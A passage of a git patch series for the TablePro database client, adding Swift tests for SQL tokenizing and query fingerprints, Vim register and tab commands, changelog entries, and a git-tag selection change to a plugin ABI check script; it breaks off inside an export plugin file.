let tokens = code("DELIMITER $$\nend$$\nDELIMITER ;", .mysql) + #expect(tokens.map(\.value) == ["DELIMITER $$", "end", "$$", "DELIMITER ;"]) + #expect(tokens.map(\.type) == [.directive, .keyword, .punctuation, .directive]) + } + + @Test("Under T-SQL a name continues with # and @; under MySQL # starts a comment") + func tsqlNameCharacters() { + #expect(code("Part# a#b c@d", .mssql).map(\.value) == ["Part#", "a#b", "c@d"]) + #expect(code("a#b\nc", .mysql).map(\.value) == ["a", "#b", "c"]) + } + + @Test("Operators no dialect declares stay whole") + func undeclaredOperators() { + #expect(code("a += b == c ** d // e ^= f", .sqlite).map(\.value) == ["a", "+=", "b", "==", "c", "**", "d", "//", "e", "^=", "f"]) + } + + @Test("A system variable fingerprints as it did before, apart from a literal") + func systemVariableFingerprint() { + #expect(SQLQueryFingerprint.normalize("SELECT @@version", databaseType: .mysql) == "SELECT @ ?") + #expect(SQLQueryFingerprint.hash("SELECT @@version", databaseType: .mysql) != SQLQueryFingerprint.hash("SELECT 1", databaseType: .mysql)) + } + + @Test("Under a grammar a 0x or 0b run is a number only when its digits are hex or binary") + func prefixedNumbersNeedTheirDigits() { + let tokens = code("0xFF 0b101 0bar 0xyz", .mysql) + #expect(tokens.map(\.value) == ["0xFF", "0b101", "0bar", "0xyz"]) + #expect(tokens.map(\.type) == [.number, .number, .identifier, .identifier]) + } + + @Test("A keyword before a quote stays a keyword") + func keywordBeforeQuote() { + #expect(code("then'x'", .mysql).map(\.value) == ["then", "'x'"]) + } + + @Test("Temp tables, variables and $ names are one word") + func prefixedNames() { + #expect(code("#tmp ##global @@rowcount @p", .mssql).map(\.value) == ["#tmp", "##global", "@@rowcount", "@p"]) + #expect(code("v$session SYS#1", .oracle).map(\.value) == ["v$session", "SYS#1"]) + } +} + +// What the query fingerprint read on main, before the formatter read grammars: its hashes are stored, so the reading +// without a grammar must not move. Each expected shape was produced by main's own SQLTokenizer and SQLQueryFingerprint. +struct SQLFingerprintGoldenTests { + static let corpus: [(DatabaseType, String, String)] = [ + (.postgresql, "SELECT * FROM t WHERE id = 1", "SELECT * FROM t WHERE id = ?"), + (.postgresql, "select id, name from users where active = true and role = 'admin'", "SELECT id, name FROM users WHERE active = ? AND role = ?"), + (.mysql, "SELECT @@version", "SELECT @ ?"), + (.mysql, "SELECT @@sql_mode", "SELECT @ ?"), + (.mysql, "SELECT 1", "SELECT ?"), + (.mssql, "SELECT @@ROWCOUNT, @@ERROR", "SELECT @ ?, @ ?"), + (.sqlite, "SELECT @1, @1ab FROM t WHERE a = @2", "SELECT ?, ? FROM t WHERE a = ?"), + (.mssql, "SELECT @x, @y FROM t WHERE a = @p", "SELECT ?, ? FROM t WHERE a = ?"), + (.mysql, "SELECT apply - 1 FROM t", "SELECT apply - ? FROM t"), + (.mysql, "SELECT apply + 1 FROM t", "SELECT apply + ? FROM t"), + (.mysql, "SELECT * FROM apply a", "SELECT * FROM apply a"), + (.mysql, "SELECT 0bar FROM t", "SELECT ? bar FROM t"), + (.mysql, "SELECT 0baz FROM t", "SELECT ? baz FROM t"), + (.mysql, "SELECT 0xFF, 0x1A, 0b101 FROM t", "SELECT ? xFF, ? x1A, ? b101 FROM t"), + (.mysql, "SELECT 2fa_codes.id FROM 2fa_codes", "SELECT ? fa_codes.id FROM ? fa_codes"), + (.mssql, "SELECT N'x', N'longer text' FROM t", "SELECT N ?, N ? FROM t"), + (.mysql, "SELECT X'4D', B'101', _utf8mb4'a' FROM t", "SELECT X ?, B ?, _utf8mb4 ? FROM t"), + (.mysql, "SELECT a'alias', b'alias' FROM t", "SELECT a ?, b ? FROM t"), + (.postgresql, "SELECT U&'d\\0061t', E'it\\'s' FROM t", "SELECT U & ?, E ? FROM t"), + (.oracle, "SELECT q'[it's]' FROM dual", "SELECT q ? s] ?"), + (.mssql, "SELECT [order id], [group] FROM [my table] WHERE [select] = 1", "SELECT[ORDER id], GROUP FROM[my TABLE] WHERE SELECT = ?"), + (.mssql, "SELECT * FROM [users]", "SELECT * FROM users"), + (.mssql, "SELECT * FROM users", "SELECT * FROM users"), + (.mssql, "SELECT * INTO #tmp FROM t; SELECT * FROM ##global", "SELECT * INTO # tmp FROM t; SELECT * FROM # # global"), + (.mssql, "SELECT Part# FROM Parts", "SELECT Part # FROM Parts"), + (.mssql, "SET @x += 1", "SET ? + = ?"), + (.sqlite, "SELECT * FROM t WHERE a == b", "SELECT * FROM t WHERE a = = b"), + (.oracle, "SELECT y ** 2 FROM dual WHERE a ^= b", "SELECT y * * ? FROM dual WHERE a ^ = b"), + (.duckdb, "SELECT 7 // 2", "SELECT ? / / ?"), + (.mysql, "SELECT a <=> b, @a := 1 FROM t", "SELECT a <= > b, ? : = ? FROM t"), + (.postgresql, "SELECT $$secret payload$$ FROM t", "SELECT ? FROM t"), + (.postgresql, "SELECT $tag$body here$tag$ FROM t", "SELECT ? FROM t"), + (.postgresql, "CREATE FUNCTION f() RETURNS int AS $$ BEGIN RETURN 1; END; $$ LANGUAGE plpgsql", "CREATE FUNCTION f() RETURNS INT AS ? LANGUAGE plpgsql"), + (.postgresql, "SELECT a::int, b::text FROM t", "SELECT a :: INT, b :: TEXT FROM t"), + (.postgresql, "SELECT data->>'name', data->'a', data #>> '{a,b}' FROM t", "SELECT data ->> ?, data -> ?, data # > > ? FROM t"), + (.postgresql, "SELECT * FROM t WHERE tags @> ARRAY['x'] AND d ?| array['a']", "SELECT * FROM t WHERE tags @ > ARRAY[?] AND d ? | array[?]"), + (.postgresql, "SELECT * FROM t WHERE name ~* 'abc' AND name !~ 'x'", "SELECT * FROM t WHERE name ~ * ? AND name ! ~ ?"), + (.postgresql, "SELECT embedding <-> '[1,2,3]' FROM items", "SELECT embedding < -> ? FROM items"), + (.postgresql, "-- pick\nSELECT * FROM t /* hint */ WHERE id = 1", "SELECT * FROM t WHERE id = ?"), + (.mysql, "SELECT 1 # comment\nFROM t", "SELECT ? # comment FROM t"), + (.mysql, "SELECT 5--3", "SELECT ?"), + (.postgresql, "SELECT 1 /* a /* b */ c */ FROM t", "SELECT ? c * / FROM t"), + (.postgresql, "select a, b -- note\nfrom t where x = 1", "SELECT a, b FROM t WHERE x = ?"), + (.mysql, "SELECT /*!40001 SQL_NO_CACHE */ a FROM t", "SELECT a FROM t"), + (.postgresql, "SELECT * FROM t WHERE id IN (1, 2, 3)", "SELECT * FROM t WHERE id IN (...)"), + (.postgresql, "SELECT * FROM t WHERE id IN (SELECT id FROM u)", "SELECT * FROM t WHERE id IN (SELECT id FROM u)"), + (.postgresql, "INSERT INTO t VALUES (1, 'a'), (2, 'b')", "INSERT INTO t VALUES (...)"), + (.postgresql, "SELECT * FROM t WHERE x = -1 AND y = +2", "SELECT * FROM t WHERE x = ? AND y = ?"), + (.postgresql, "SELECT b - 1, f(a, -1) FROM t", "SELECT b - ?, f(a, ?) FROM t"), + (.postgresql, "SELECT tags[1] - 1 FROM t", "SELECT tags[?] - ? FROM t"), + (.postgresql, "SELECT 0.5, .5, 1e10, 1.5E-3 FROM t", "SELECT ?, ?, ?, ? FROM t"), + (.mysql, "SELECT * FROM t WHERE n = \"bob\"", "SELECT * FROM t WHERE n = ?"), + (.postgresql, "SELECT \"email\" FROM \"Users\" WHERE id = 1", "SELECT email FROM Users WHERE id = ?"), + (.mysql, "SELECT * FROM `users`", "SELECT * FROM users"), + (.oracle, "SELECT * FROM v$session WHERE sid = 1", "SELECT * FROM v ? WHERE sid = ?"), + (.oracle, "BEGIN x := 1; END;", "BEGIN x : = ?; END;"), + (.mssql, "SELECT 1\nGO\nSELECT 2", "SELECT ? GO SELECT ?"), + (.mysql, "DELIMITER //\nCREATE PROCEDURE p() BEGIN SELECT 1; END //\nDELIMITER ;", "DELIMITER / / CREATE PROCEDURE p() BEGIN SELECT ?; END / / DELIMITER;"), + (.mysql, "DELIMITER $$\nEND$$", "DELIMITER ?"), + (.clickhouse, "SELECT database, table FROM system.columns WHERE database = 'default'", "SELECT DATABASE, TABLE FROM system.columns WHERE DATABASE = ?"), + (.postgresql, "SELECT count(*), sum(total) FROM t GROUP BY 1", "SELECT COUNT(*), SUM(total) FROM t GROUP BY ?"), + (.postgresql, "SELECT * FROM t WHERE created > now() - interval '1 day'", "SELECT * FROM t WHERE created > now() - INTERVAL ?"), + (.postgresql, "SELECT 'C:\\', 'hello world' FROM t", "SELECT ? hello world ?"), + (.mysql, "SELECT 'it\\'s' FROM t", "SELECT ? FROM t"), + (.postgresql, "SELECT café, naïve FROM t", "SELECT café, naïve FROM t"), + (.postgresql, "SELECT * FROM t WHERE id = $1 AND name = :name", "SELECT * FROM t WHERE id = ? AND name = ?"), + (.postgresql, "SELECT * FROM t WHERE id = ?", "SELECT * FROM t WHERE id = ?"), + (.postgresql, "UPDATE t SET a = 1, b = 'x' WHERE id = 7", "UPDATE t SET a = ?, b = ? WHERE id = ?"), + (.postgresql, "DELETE FROM t WHERE id IN (1, 2)", "DELETE FROM t WHERE id IN (...)"), + (.postgresql, "SELECT CASE WHEN a = 1 THEN 'x' ELSE 'y' END FROM t", "SELECT CASE WHEN a = ? THEN ? ELSE ? END FROM t"), + (.postgresql, "SELECT * FROM t1 JOIN t2 ON t1.id = t2.id LEFT OUTER JOIN t3 ON t3.id = t1.id", "SELECT * FROM t1 JOIN t2 ON t1.id = t2.id LEFT OUTER JOIN t3 ON t3.id = t1.id"), + (.mssql, "SELECT * FROM a OUTER APPLY f(a.id) x CROSS APPLY g(a.id) y", "SELECT * FROM a OUTER APPLY f(a.id) x CROSS APPLY g(a.id) y"), + (.postgresql, "select 'foo'\n'bar' as s", "SELECT ? AS s"), + (.postgresql, "SELECT a FROM t WHERE b = 'x''y'", "SELECT a FROM t WHERE b = ?"), + ] + + @Test("Every query fingerprints exactly as it did before the formatter read grammars") + func fingerprintsMatchMain() { + for (type, sql, shape) in Self.corpus { + #expect(SQLQueryFingerprint.normalize(sql, databaseType: type) == shape, "\(type.rawValue): \(sql)") + } + } } diff --git a/apple/TableProTests/Core/Vim/VimEngineBlackHoleRegisterTests.swift b/apple/TableProTests/Core/Vim/VimEngineBlackHoleRegisterTests.swift new file mode 100644 index 0000000000..6876179fce --- /dev/null +++ b/apple/TableProTests/Core/Vim/VimEngineBlackHoleRegisterTests.swift @@ -0,0 +1,52 @@ +// +// VimEngineBlackHoleRegisterTests.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import Testing + +extension GlobalStateSuites { + @Suite(.recordingClipboard) + @MainActor + struct VimEngineBlackHoleRegisterTests { + private func keys(_ chars: String, into engine: VimEngine) { + for char in chars { _ = engine.process(char, shift: false) } + } + + @Test(arguments: ["\"_dd", "\"_2dd", "\"_x", "\"_dw", "\"_yy", "\"_yw", "l\"_X", "\"_s", "\"_cc"]) + func writesNoRegisterAndNoClipboard(sequence: String) { + let buffer = VimTextBufferMock(text: "one\ntwo\nthree\n") + let engine = VimEngine(buffer: buffer) + keys("yyj", into: engine) + let numbered = engine.numberedRegisters.map { $0.text } + + keys(sequence, into: engine) + + #expect(engine.register.text == "one\n") + #expect(engine.register.isLinewise) + #expect(engine.numberedRegisters.map { $0.text } == numbered) + #expect(engine.namedRegisters.isEmpty) + #expect(RecordingClipboard.current?.writes == ["one\n"]) + } + + @Test + func pasteAfterABlackHoleDeletePastesTheEarlierYank() { + let buffer = VimTextBufferMock(text: "one\ntwo\nthree\n") + let engine = VimEngine(buffer: buffer) + keys("yyj\"_ddp", into: engine) + #expect(buffer.text == "one\nthree\none\n") + } + + @Test + func theBlackHoleAppliesToOneCommandOnly() { + let buffer = VimTextBufferMock(text: "one\ntwo\nthree\n") + let engine = VimEngine(buffer: buffer) + keys("yyj\"_dddd", into: engine) + #expect(buffer.text == "one\n") + #expect(engine.register.text == "three\n") + #expect(RecordingClipboard.current?.writes == ["one\n", "three\n"]) + } + } +} diff --git a/apple/TableProTests/Core/Vim/VimEngineTabCommandsTests.swift b/apple/TableProTests/Core/Vim/VimEngineTabCommandsTests.swift new file mode 100644 index 0000000000..cb647762c9 --- /dev/null +++ b/apple/TableProTests/Core/Vim/VimEngineTabCommandsTests.swift @@ -0,0 +1,209 @@ +// +// VimEngineTabCommandsTests.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import Testing + +@MainActor +final class VimEngineTabCommandsTests { + private let buffer: VimTextBufferMock + private let engine: VimEngine + private var dispatched: [String] = [] + + init() { + buffer = VimTextBufferMock(text: "select 1;\nselect 2;\n", selectedRange: NSRange(location: 3, length: 0)) + engine = VimEngine(buffer: buffer) + engine.onCommand = { [weak self] command in + self?.dispatched.append(command) + } + } + + private func keys(_ chars: String) { + for char in chars { _ = engine.process(char, shift: false) } + } + + @Test(arguments: [ + ("gt", "tabnext"), + ("3gt", "tabnext 3"), + ("12gt", "tabnext 12"), + ("gT", "tabprevious 1"), + ("2gT", "tabprevious 2"), + ]) + func dispatchesTheTabCommand(sequence: String, command: String) { + keys(sequence) + #expect(dispatched == [command]) + #expect(engine.mode == .normal) + } + + @Test + func gtLeavesTheBufferAlone() { + keys("gt") + #expect(buffer.text == "select 1;\nselect 2;\n") + #expect(buffer.selectedRange() == NSRange(location: 3, length: 0)) + #expect(buffer.undoCallCount == 0) + } + + @Test + func countIsConsumedByGt() { + keys("3gt") + keys("x") + #expect(buffer.text == "selct 1;\nselect 2;\n") + } + + @Test + func gtAfterAnOperatorCancelsBoth() { + keys("dgt") + #expect(dispatched.isEmpty) + #expect(buffer.text == "select 1;\nselect 2;\n") + keys("x") + #expect(buffer.text == "selct 1;\nselect 2;\n") + } + + @Test + func gtInInsertModeGoesToTheTextView() { + keys("i") + let consumedG = engine.process("g", shift: false) + let consumedT = engine.process("t", shift: false) + #expect(!consumedG) + #expect(!consumedT) + #expect(dispatched.isEmpty) + #expect(engine.mode == .insert) + } + + @Test + func hugeCountsBeforeGtAndGTStayBounded() { + var selected: [Int] = [] + var offsets: [Int] = [] + var handler = VimCommandLineHandler() + handler.tabCount = { 3 } + handler.onSelectTab = { selected.append($0) } + handler.onSelectAdjacentTab = { offsets.append($0) } + engine.onCommand = { [weak self] command in + self?.dispatched.append(command) + handler.handle(command) + } + keys("99999999gt") + keys("99999999gT") + #expect(dispatched == ["tabnext 999999", "tabprevious 999999"]) + #expect(selected == [3]) + #expect(offsets == [0]) + } + + @Test + func colonTabnextReachesTheHandler() { + var selected: [Int] = [] + var handler = VimCommandLineHandler() + handler.onSelectTab = { selected.append($0) } + engine.onCommand = { handler.handle($0) } + keys(":tabn 2") + _ = engine.process("\r", shift: false) + #expect(selected == [2]) + } +} + +@MainActor +struct VimCommandLineHandlerTabTests { + private final class Recorder { + var tabNumbers: [Int] = [] + var offsets: [Int] = [] + var closed = 0 + var executed = 0 + } + + private func handle(_ command: String, tabs: Int? = nil) -> Recorder { + let recorder = Recorder() + var handler = VimCommandLineHandler() + handler.tabCount = tabs.map { count in { count } } + handler.onSelectTab = { recorder.tabNumbers.append($0) } + handler.onSelectAdjacentTab = { recorder.offsets.append($0) } + handler.onCloseTab = { recorder.closed += 1 } + handler.onExecuteQuery = { recorder.executed += 1 } + handler.handle(command) + return recorder + } + + @Test(arguments: ["tabn", "tabne", "tabnex", "tabnext", " tabnext "]) + func tabnextSelectsTheNextTab(command: String) { + let recorder = handle(command) + #expect(recorder.offsets == [1]) + #expect(recorder.tabNumbers.isEmpty) + } + + @Test(arguments: ["tabn 4", "tabnext 4", "tabnext 4"]) + func tabnextWithANumberSelectsThatTab(command: String) { + let recorder = handle(command) + #expect(recorder.tabNumbers == [4]) + #expect(recorder.offsets.isEmpty) + } + + @Test(arguments: [("tabnext +2", 2), ("tabn -3", -3)]) + func tabnextWithASignMovesRelative(command: String, offset: Int) { + #expect(handle(command).offsets == [offset]) + } + + @Test(arguments: ["tabp 2", "tabpr 2", "tabprevious 2", "tabN 2", "tabNe 2", "tabNext 2"]) + func tabpreviousWithACountMovesBack(command: String) { + let recorder = handle(command) + #expect(recorder.offsets == [-2]) + #expect(recorder.tabNumbers.isEmpty) + } + + @Test(arguments: ["tabp", "tabprevious", "tabN", "tabNext"]) + func tabpreviousSelectsThePreviousTab(command: String) { + #expect(handle(command).offsets == [-1]) + } + + @Test(arguments: [ + "set", "tab", "tabnew", "tabnexts", "tabnext x", "tabnext 0", "tabp -1", "tabp +1", "tabnext 1 2", "TABN", + ]) + func otherCommandsDoNothing(command: String) { + let recorder = handle(command) + #expect(recorder.tabNumbers.isEmpty) + #expect(recorder.offsets.isEmpty) + #expect(recorder.closed == 0) + #expect(recorder.executed == 0) + } + + @Test(arguments: [ + ("tabnext +9223372036854775807", 1), + ("tabnext -9223372036854775808", -2), + ("tabp 100000000000000000000", -1), + ("tabN 999999", 0), + ]) + func hugeRelativeCountsMoveLessThanOneLap(command: String, offset: Int) { + #expect(handle(command, tabs: 3).offsets == [offset]) + } + + @Test(arguments: ["tabnext 99999999999999999999", "tabn 9223372036854775807", "tabnext 4"]) + func anAbsoluteCountPastTheLastTabSelectsTheLastTab(command: String) { + #expect(handle(command, tabs: 3).tabNumbers == [3]) + } + + @Test + func withoutATabCountACountStopsAtTheLimit() { + #expect(handle("tabnext +9223372036854775807").offsets == [999_999]) + #expect(handle("tabp 99999999999999999999").offsets == [-999_999]) + #expect(handle("tabnext 99999999999999999999").tabNumbers == [999_999]) + } + + @Test + func writeAndQuitStillWork() { + #expect(handle("w").executed == 1) + #expect(handle("q").closed == 1) + } +} + +@MainActor +struct QueryTabManagerOffsetTests { + @Test(arguments: [Int.max, Int.min, Int.max - 1, Int.min + 1, -4, 7]) + func anyOffsetSelectsATabWithoutOverflow(offset: Int) { + let manager = QueryTabManager() + let tabs = (0..<3).map { QueryTab(title: "Query \($0)", query: "SELECT \($0)") } + manager.tabs = tabs + manager.selectedTabId = tabs[0].id + #expect(manager.tabId(offsetBy: offset) == tabs[(offset % 3 + 3) % 3].id) + } +} diff --git a/apple/TableProTests/Plugins/SQLLexicalFeatureMappingTests.swift b/apple/TableProTests/Plugins/SQLLexicalFeatureMappingTests.swift index 329ccca060..2d38e1f82d 100644 --- a/apple/TableProTests/Plugins/SQLLexicalFeatureMappingTests.swift +++ b/apple/TableProTests/Plugins/SQLLexicalFeatureMappingTests.swift @@ -14,7 +14,7 @@ import TableProSQLGrammar import Testing struct SQLLexicalFeatureMappingTests { - @Test("Every grammar fact but the app-curated SQLScript blocks and CQL batches has exactly one kit feature, on the same bit") + @Test("Every grammar fact but the app-curated SQLScript blocks, CQL batches and T-SQL name characters has exactly one kit feature, on the same bit") func everyFactHasAPartner() { let pairs = SQLLexicalGrammar.pluginFeaturePairs let grammarBits = pairs.reduce(into: SQLLexicalGrammar()) { $0.formUnion($1.1) } @@ -25,7 +25,8 @@ struct SQLLexicalFeatureMappingTests { #expect(grammarBits.rawValue == (1 << 25) - 1) #expect(grammarBits.isDisjoint(with: .sqlScriptBlocks)) #expect(grammarBits.isDisjoint(with: .cqlBatches)) - #expect(grammarBits.union([.sqlScriptBlocks, .cqlBatches]).rawValue == (1 << 27) - 1) + #expect(grammarBits.isDisjoint(with: .hashAndAtInIdentifiers)) + #expect(grammarBits.union([.sqlScriptBlocks, .cqlBatches, .hashAndAtInIdentifiers]).rawValue == (1 << 28) - 1) } @Test("SAP HANA's SQLScript blocks stay in the app's curated grammar and never reach the kit") @@ -44,6 +45,13 @@ struct SQLLexicalFeatureMappingTests { #expect(SQLLexicalGrammar(pluginFeatures: cql.pluginFeatures) == cql.subtracting(.cqlBatches)) } + @Test("T-SQL name characters stay in the app's curated grammar and never reach the kit") + func tsqlNameCharactersAreAppCurated() { + let tsql = DatabaseType.mssql.lexicalGrammar + #expect(tsql.contains(.hashAndAtInIdentifiers)) + #expect(SQLLexicalGrammar(pluginFeatures: tsql.pluginFeatures) == tsql.subtracting(.hashAndAtInIdentifiers)) + } + @Test("A grammar survives the trip through the kit's features") func roundTrip() { let grammar = DatabaseType.postgresql.lexicalGrammar diff --git a/apple/changelog.d/3854.added.1.md b/apple/changelog.d/3854.added.1.md new file mode 100644 index 0000000000..7a6eeb29f6 --- /dev/null +++ b/apple/changelog.d/3854.added.1.md @@ -0,0 +1 @@ +Formatter settings for clause items, AND and OR position, and data type case. diff --git a/apple/changelog.d/3854.added.2.md b/apple/changelog.d/3854.added.2.md new file mode 100644 index 0000000000..4130fdd50c --- /dev/null +++ b/apple/changelog.d/3854.added.2.md @@ -0,0 +1 @@ +Vim mode switches tabs with gt, gT, :tabnext and :tabprevious. diff --git a/apple/changelog.d/3854.changed.md b/apple/changelog.d/3854.changed.md new file mode 100644 index 0000000000..2eb71a8d36 --- /dev/null +++ b/apple/changelog.d/3854.changed.md @@ -0,0 +1 @@ +.sql-formatter.json uses the npm sql-formatter key names, so export a rules file saved by 0.83 again. diff --git a/apple/changelog.d/3854.fixed.1.md b/apple/changelog.d/3854.fixed.1.md new file mode 100644 index 0000000000..7b4bc8cd20 --- /dev/null +++ b/apple/changelog.d/3854.fixed.1.md @@ -0,0 +1 @@ +Format Query doing nothing on a statement too large to format, without saying why. diff --git a/apple/changelog.d/3854.fixed.2.md b/apple/changelog.d/3854.fixed.2.md new file mode 100644 index 0000000000..3017074564 --- /dev/null +++ b/apple/changelog.d/3854.fixed.2.md @@ -0,0 +1 @@ +The Vim "_ register overwriting the clipboard and the other registers. diff --git a/apple/changelog.d/3854.fixed.md b/apple/changelog.d/3854.fixed.md new file mode 100644 index 0000000000..0ce4f53d58 --- /dev/null +++ b/apple/changelog.d/3854.fixed.md @@ -0,0 +1 @@ +Format Query changing SQL with brackets, dollar bodies, GO or DELIMITER lines, operators like @> or window ORDER BY. diff --git a/apple/scripts/check-pluginkit-abi.sh b/apple/scripts/check-pluginkit-abi.sh index fd76d0ecc7..e8d23f11f2 100755 --- a/apple/scripts/check-pluginkit-abi.sh +++ b/apple/scripts/check-pluginkit-abi.sh @@ -14,8 +14,6 @@ if [ $# -gt 1 ]; then echo "usage: scripts/check-pluginkit-abi.sh [--frozen] [base]" >&2 exit 2 fi -base="${1:-$(git -C "$root" describe --tags --abbrev=0 --match 'v[0-9]*')}" - fail() { echo "::error::$1" exit 1 @@ -33,13 +31,53 @@ kits() { config="Configs/PluginKit.xcconfig" settings="TABLEPRO_PLUGINKIT_VERSION and TABLEPRO_PLUGINKIT_MINIMUM_VERSION" + # A tag cut before the Apple apps moved into apple/ keeps them at the repository root. -base_dir=apple -base_config="apple/$config" -if ! git -C "$root" cat-file -e "$base:$base_config" 2> /dev/null; then - base_dir=. - base_config="$config" +tag_dir() { + if git -C "$root" cat-file -e "$1:apple/$config" 2> /dev/null; then + echo apple + else + echo . + fi +} + +# A `rev:./path` is read relative to the working directory, so the root form has no leading ./. +tag_config() { + if [ "$(tag_dir "$1")" = apple ]; then + echo "apple/$config" + else + echo "$config" + fi +} + +# A release tag sits on its release/* branch, so main cannot reach the kit it shipped. Off a release line the base is +# the tag that shipped the highest kit, the reachable one on a tie. +shipped_base() { + local reachable best best_kit tag kit + reachable="$(git -C "$root" describe --tags --abbrev=0 --match 'v[0-9]*')" + best="$reachable" + # An unreadable reachable tag stays the base, so the check below names it. + best_kit="$(git -C "$root" show "$reachable:$(tag_config "$reachable")" 2> /dev/null | kits | cut -d' ' -f1)" \ + || { echo "$reachable"; return; } + while IFS= read -r tag; do + kit="$(git -C "$root" show "$tag:$(tag_config "$tag")" 2> /dev/null | kits | cut -d' ' -f1)" || continue + if [ "$kit" -gt "$best_kit" ]; then + best="$tag" + best_kit="$kit" + fi + done < <(git -C "$root" tag --list 'v[0-9]*' --sort=-v:refname) + echo "$best" +} + +if [ $# -eq 1 ]; then + base="$1" +elif [ "$frozen" -eq 1 ]; then + base="$(git -C "$root" describe --tags --abbrev=0 --match 'v[0-9]*')" +else + base="$(shipped_base)" fi +base_dir="$(tag_dir "$base")" +base_config="$(tag_config "$base")" base_kits="$(git -C "$root" show "$base:$base_config" | kits)" || fail "$config at $base does not set $settings to integers." head_kits="$(kits < "$root/$config")" || fail "$config does not set $settings to integers." read -r base_kit base_minimum <<< "$base_kits" diff --git a/apple/scripts/ci/test_check_pluginkit_abi.py b/apple/scripts/ci/test_check_pluginkit_abi.py index ab0dcf9015..c042f0b8cc 100644 --- a/apple/scripts/ci/test_check_pluginkit_abi.py +++ b/apple/scripts/ci/test_check_pluginkit_abi.py @@ -171,6 +171,23 @@ def test_default_base_is_the_nearest_v_tag_reachable_from_head(self): self.commit(API + ["prepare", "explain"], 41, 19, tag="libs-1") self.assertPasses("against v1.1.0: changed; kit 41, minimum 19.") + def test_default_base_is_the_release_branch_tag_that_shipped_the_highest_kit(self): + self.commit(API + ["prepare"], 40, 19) + self.git("checkout", "-q", "-b", "release/1.1") + self.commit(API + ["prepare"], 40, 19, tag="v1.1.0") + self.git("checkout", "-q", "main") + self.commit(API + ["prepare", "explain"], 40, 19) + self.assertFails("against v1.1.0: changed. Set TABLEPRO_PLUGINKIT_VERSION to 41 and " + "TABLEPRO_PLUGINKIT_MINIMUM_VERSION to 19") + self.commit(API + ["prepare", "explain"], 41, 19) + self.assertPasses("against v1.1.0: changed; kit 41, minimum 19.") + + def test_frozen_base_is_the_tag_the_release_line_reaches(self): + self.commit(API + ["prepare"], 40, 19, tag="v1.1.0") + self.git("checkout", "-q", "-b", "release/1.0", "v1.0.0") + self.commit(API, 39, 19) + self.assertPasses("against v1.0.0: unchanged; kit 39, minimum 19.", "--frozen") + def test_an_explicit_base_replaces_the_tag(self): self.commit(API + ["prepare"], 40, 19, tag="v1.1.0") self.assertPasses("against v1.1.0: unchanged; kit 40, minimum 19.") From 55472d826811fed413ec43cd66dfd979b5a60ce7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?= Date: Tue, 27 Oct 2026 17:37:31 +0700 Subject: [PATCH 08/44] feat(export): set Structure, Drop or Data for a whole database or group (#3857) --- .../MQLExportReadsRowsTests.swift | 17 ++ .../MQLExportPlugin/MQLExportPlugin.swift | 10 +- .../SQLExportPlugin/SQLExportPlugin.swift | 5 +- .../TablePro/Models/Export/ExportModels.swift | 138 ++++++++- .../TablePro/Resources/Localizable.xcstrings | 6 + .../Views/Backup/BackupScopeModel.swift | 66 ++++- .../Views/Backup/BackupScopeTreeView.swift | 16 +- .../Components/CheckboxOutlineView.swift | 44 +++ .../Views/Editor/SQLEditorCoordinator.swift | 5 + .../TablePro/Views/Export/ExportDialog.swift | 99 ++++--- .../Views/Export/ExportObjectRows.swift | 59 +--- .../Views/Export/ExportObjectTreeView.swift | 265 ++++++++++++++---- .../Views/Export/ExportTreeBuilder.swift | 7 +- .../Models/ExportOptionColumnTests.swift | 219 +++++++++++++++ .../ViewModels/BackupScopeModelTests.swift | 21 ++ .../Editor/SQLEditorFocusClaimTests.swift | 85 ++++++ .../ExportObjectTreeCoordinatorTests.swift | 224 ++++++++++++++- .../Views/Export/ExportTreeBuilderTests.swift | 20 ++ apple/TableProUITests/ExportUITests.swift | 61 ++++ apple/changelog.d/3857.added.md | 1 + apple/changelog.d/3857.changed.md | 1 + apple/changelog.d/3857.fixed.1.md | 1 + apple/changelog.d/3857.fixed.2.md | 1 + apple/changelog.d/3857.fixed.3.md | 1 + apple/changelog.d/3857.fixed.4.md | 1 + apple/changelog.d/3857.fixed.5.md | 1 + apple/changelog.d/3857.fixed.6.md | 1 + apple/changelog.d/3857.fixed.md | 1 + 28 files changed, 1190 insertions(+), 186 deletions(-) create mode 100644 apple/Plugins/FormatPluginTests/MQLExportReadsRowsTests.swift create mode 100644 apple/TableProTests/Models/ExportOptionColumnTests.swift create mode 100644 apple/TableProTests/Views/Editor/SQLEditorFocusClaimTests.swift create mode 100644 apple/changelog.d/3857.added.md create mode 100644 apple/changelog.d/3857.changed.md create mode 100644 apple/changelog.d/3857.fixed.1.md create mode 100644 apple/changelog.d/3857.fixed.2.md create mode 100644 apple/changelog.d/3857.fixed.3.md create mode 100644 apple/changelog.d/3857.fixed.4.md create mode 100644 apple/changelog.d/3857.fixed.5.md create mode 100644 apple/changelog.d/3857.fixed.6.md create mode 100644 apple/changelog.d/3857.fixed.md diff --git a/apple/Plugins/FormatPluginTests/MQLExportReadsRowsTests.swift b/apple/Plugins/FormatPluginTests/MQLExportReadsRowsTests.swift new file mode 100644 index 0000000000..f1337ac4d0 --- /dev/null +++ b/apple/Plugins/FormatPluginTests/MQLExportReadsRowsTests.swift @@ -0,0 +1,17 @@ +// +// MQLExportReadsRowsTests.swift +// FormatPluginTests +// + +import TableProPluginKit +import Testing + +struct MQLExportReadsRowsTests { + @Test("An MQL export reads a collection's documents only with Data checked") + func readsRowsOnlyWithData() { + let plugin = MQLExportPlugin() + #expect(plugin.readsRows(optionValues: [true, true, true], kind: .table)) + #expect(!plugin.readsRows(optionValues: [true, true, false], kind: .table)) + #expect(plugin.readsRows(optionValues: [], kind: .table)) + } +} diff --git a/apple/Plugins/MQLExportPlugin/MQLExportPlugin.swift b/apple/Plugins/MQLExportPlugin/MQLExportPlugin.swift index 6074a27517..5577c1dee8 100644 --- a/apple/Plugins/MQLExportPlugin/MQLExportPlugin.swift +++ b/apple/Plugins/MQLExportPlugin/MQLExportPlugin.swift @@ -19,9 +19,10 @@ final class MQLExportPlugin: ObservableObject, ExportFormatPlugin, SettablePlugi static let supportedDatabaseTypeIds = ["MongoDB"] static let perTableOptionColumns: [PluginExportOptionColumn] = [ + // The DROP statement, left untranslated: the catalog's "Drop" is the verb that deletes a table. PluginExportOptionColumn(id: "drop", label: "Drop", width: 44), - PluginExportOptionColumn(id: "indexes", label: "Indexes", width: 44), - PluginExportOptionColumn(id: "data", label: "Data", width: 44) + PluginExportOptionColumn(id: "indexes", label: String(localized: "Indexes", bundle: .main), width: 